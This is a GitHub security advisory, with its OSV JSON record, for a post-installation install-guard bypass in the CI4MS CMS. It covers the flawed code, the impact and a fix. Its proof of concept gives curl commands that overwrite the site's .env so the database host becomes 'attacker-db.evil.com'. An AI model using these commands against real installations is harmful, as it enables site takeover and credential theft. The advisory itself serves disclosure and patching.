GHSA-8RH5-4MVX-XJ7J

Vulnerability from github – Published: 2026-04-08 19:15 – Updated: 2026-04-08 19:15
VLAI?
Summary
CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass
Details

Summary

The install route guard in ci4ms relies solely on a volatile cache check (cache('settings')) combined with .env file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the .env file with attacker-controlled database credentials, achieving full application takeover.

Details

The InstallFilter::before() method at modules/Install/Filters/InstallFilter.php:13 implements the install guard:

public function before(RequestInterface $request, $arguments = null)
{
    if (file_exists(ROOTPATH . '.env') && !empty(cache('settings'))) return show_404();
}

This requires both conditions — .env existence AND non-empty cache — to block access. The cache population happens in app/Config/Filters.php:128-151 during the Filters constructor, which runs before route-specific filters:

public function __construct()
{
    parent::__construct();
    if (is_file(ROOTPATH . '.env')) {
        try {
            $this->commonModel = new CommonModel();
            if (empty(cache('settings')) && $this->commonModel->db->tableExists('settings')) {
                $this->settings = $this->commonModel->lists('settings');
                // ... populate cache ...
                cache()->save('settings', $set, 86400); // 24h TTL
            }
        } catch (\Throwable $e) {
            $this->settings = (object)[]; // Silently swallow ALL exceptions
        }
    }

When the database is unreachable (connection failure, timeout, maintenance), the \Throwable catch at line 148-150 silently swallows the exception. The cache remains empty, and InstallFilter::before() sees empty(cache('settings')) as true, allowing the request through.

The install controller at modules/Install/Controllers/Install.php:10-87 then processes the POST:

  1. The host parameter at line 35 is not present in the validation rules ($valData, lines 13-27) — it is written directly from $this->request->getPost('host') to .env with zero validation
  2. copyEnvFile() (line 70) overwrites the existing .env by copying from the env template
  3. updateEnvSettings() (line 70) writes attacker-controlled values including database hostname
  4. No database connection is needed — the index() action only performs filesystem operations

Additionally, CSRF protection is explicitly disabled for all install routes in modules/Install/Config/InstallConfig.php:7-10:

public $csrfExcept = [
    'install',
    'install/*'
];

The cache has a 24-hour TTL (Filters.php:143), and cache()->delete('settings') is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.

PoC

Prerequisites: The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the settings cache has expired or been cleared.

# Step 1: Verify the install route is accessible (DB outage + cache miss)
curl -s -o /dev/null -w "%{http_code}" http://target/install
# Expected: 200 (instead of 404)

# Step 2: Overwrite .env with attacker-controlled database credentials
curl -X POST http://target/install \
  -d 'baseUrl=http://target/' \
  -d 'host=attacker-db.evil.com' \
  -d 'dbname=ci4ms' \
  -d 'dbusername=root' \
  -d 'dbpassword=pass' \
  -d 'dbdriver=MySQLi' \
  -d 'dbpre=' \
  -d 'dbport=3306' \
  -d 'name=Admin' \
  -d 'surname=Evil' \
  -d 'username=admin' \
  -d 'password=Evil1234!' \
  -d 'email=evil@attacker.com' \
  -d 'siteName=Pwned'
# No CSRF token required (CSRF exempt for install routes)
# .env is now overwritten with attacker's DB hostname

# Step 3: Follow redirect to /install/dbsetup
# This runs migrations on the attacker-controlled database and creates an admin account
# The application now connects to attacker's database = full takeover

Impact

When exploited during a database outage coinciding with cache expiry:

  • Full application takeover: The .env file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server
  • Credential theft: All subsequent user logins, form submissions, and API calls send data to the attacker's database
  • Data integrity loss: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation
  • Encryption key reset: generateEncryptionKey() is called (line 70), invalidating all existing encrypted data and sessions

The attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.

Recommended Fix

Replace the volatile cache-based install guard with a persistent filesystem lock:

// modules/Install/Filters/InstallFilter.php
class InstallFilter implements FilterInterface
{
    public function before(RequestInterface $request, $arguments = null)
    {
        // Use a persistent filesystem lock instead of volatile cache
        if (file_exists(WRITEPATH . 'installed.lock')) {
            return show_404();
        }
    }
}

Create the lock file at the end of successful installation in Install::dbsetup():

// At the end of dbsetup(), after successful migration and setup:
file_put_contents(WRITEPATH . 'installed.lock', date('Y-m-d H:i:s'));

Additionally, add validation for the host parameter in Install::index():

$valData['host'] = [
    'label' => lang('Install.databaseHost'),
    'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'
];
Severity ?
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.3.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:15:57Z",
    "nvd_published_at": "2026-04-08T15:16:14Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe install route guard in ci4ms relies solely on a volatile cache check (`cache(\u0027settings\u0027)`) combined with `.env` file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the `.env` file with attacker-controlled database credentials, achieving full application takeover.\n\n## Details\n\nThe `InstallFilter::before()` method at `modules/Install/Filters/InstallFilter.php:13` implements the install guard:\n\n```php\npublic function before(RequestInterface $request, $arguments = null)\n{\n    if (file_exists(ROOTPATH . \u0027.env\u0027) \u0026\u0026 !empty(cache(\u0027settings\u0027))) return show_404();\n}\n```\n\nThis requires **both** conditions \u2014 `.env` existence AND non-empty cache \u2014 to block access. The cache population happens in `app/Config/Filters.php:128-151` during the Filters constructor, which runs before route-specific filters:\n\n```php\npublic function __construct()\n{\n    parent::__construct();\n    if (is_file(ROOTPATH . \u0027.env\u0027)) {\n        try {\n            $this-\u003ecommonModel = new CommonModel();\n            if (empty(cache(\u0027settings\u0027)) \u0026\u0026 $this-\u003ecommonModel-\u003edb-\u003etableExists(\u0027settings\u0027)) {\n                $this-\u003esettings = $this-\u003ecommonModel-\u003elists(\u0027settings\u0027);\n                // ... populate cache ...\n                cache()-\u003esave(\u0027settings\u0027, $set, 86400); // 24h TTL\n            }\n        } catch (\\Throwable $e) {\n            $this-\u003esettings = (object)[]; // Silently swallow ALL exceptions\n        }\n    }\n```\n\nWhen the database is unreachable (connection failure, timeout, maintenance), the `\\Throwable` catch at line 148-150 silently swallows the exception. The cache remains empty, and `InstallFilter::before()` sees `empty(cache(\u0027settings\u0027))` as true, allowing the request through.\n\nThe install controller at `modules/Install/Controllers/Install.php:10-87` then processes the POST:\n\n1. The `host` parameter at line 35 is **not present in the validation rules** (`$valData`, lines 13-27) \u2014 it is written directly from `$this-\u003erequest-\u003egetPost(\u0027host\u0027)` to `.env` with zero validation\n2. `copyEnvFile()` (line 70) overwrites the existing `.env` by copying from the `env` template\n3. `updateEnvSettings()` (line 70) writes attacker-controlled values including database hostname\n4. No database connection is needed \u2014 the `index()` action only performs filesystem operations\n\nAdditionally, CSRF protection is explicitly disabled for all install routes in `modules/Install/Config/InstallConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n    \u0027install\u0027,\n    \u0027install/*\u0027\n];\n```\n\nThe cache has a 24-hour TTL (`Filters.php:143`), and `cache()-\u003edelete(\u0027settings\u0027)` is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.\n\n## PoC\n\n**Prerequisites:** The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the `settings` cache has expired or been cleared.\n\n```bash\n# Step 1: Verify the install route is accessible (DB outage + cache miss)\ncurl -s -o /dev/null -w \"%{http_code}\" http://target/install\n# Expected: 200 (instead of 404)\n\n# Step 2: Overwrite .env with attacker-controlled database credentials\ncurl -X POST http://target/install \\\n  -d \u0027baseUrl=http://target/\u0027 \\\n  -d \u0027host=attacker-db.evil.com\u0027 \\\n  -d \u0027dbname=ci4ms\u0027 \\\n  -d \u0027dbusername=root\u0027 \\\n  -d \u0027dbpassword=pass\u0027 \\\n  -d \u0027dbdriver=MySQLi\u0027 \\\n  -d \u0027dbpre=\u0027 \\\n  -d \u0027dbport=3306\u0027 \\\n  -d \u0027name=Admin\u0027 \\\n  -d \u0027surname=Evil\u0027 \\\n  -d \u0027username=admin\u0027 \\\n  -d \u0027password=Evil1234!\u0027 \\\n  -d \u0027email=evil@attacker.com\u0027 \\\n  -d \u0027siteName=Pwned\u0027\n# No CSRF token required (CSRF exempt for install routes)\n# .env is now overwritten with attacker\u0027s DB hostname\n\n# Step 3: Follow redirect to /install/dbsetup\n# This runs migrations on the attacker-controlled database and creates an admin account\n# The application now connects to attacker\u0027s database = full takeover\n```\n\n## Impact\n\nWhen exploited during a database outage coinciding with cache expiry:\n\n- **Full application takeover**: The `.env` file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server\n- **Credential theft**: All subsequent user logins, form submissions, and API calls send data to the attacker\u0027s database\n- **Data integrity loss**: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation\n- **Encryption key reset**: `generateEncryptionKey()` is called (line 70), invalidating all existing encrypted data and sessions\n\nThe attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.\n\n## Recommended Fix\n\nReplace the volatile cache-based install guard with a persistent filesystem lock:\n\n```php\n// modules/Install/Filters/InstallFilter.php\nclass InstallFilter implements FilterInterface\n{\n    public function before(RequestInterface $request, $arguments = null)\n    {\n        // Use a persistent filesystem lock instead of volatile cache\n        if (file_exists(WRITEPATH . \u0027installed.lock\u0027)) {\n            return show_404();\n        }\n    }\n}\n```\n\nCreate the lock file at the end of successful installation in `Install::dbsetup()`:\n\n```php\n// At the end of dbsetup(), after successful migration and setup:\nfile_put_contents(WRITEPATH . \u0027installed.lock\u0027, date(\u0027Y-m-d H:i:s\u0027));\n```\n\nAdditionally, add validation for the `host` parameter in `Install::index()`:\n\n```php\n$valData[\u0027host\u0027] = [\n    \u0027label\u0027 =\u003e lang(\u0027Install.databaseHost\u0027),\n    \u0027rules\u0027 =\u003e \u0027required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]\u0027\n];\n```",
  "id": "GHSA-8rh5-4mvx-xj7j",
  "modified": "2026-04-08T19:15:57Z",
  "published": "2026-04-08T19:15:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-8rh5-4mvx-xj7j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39393"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass"
}


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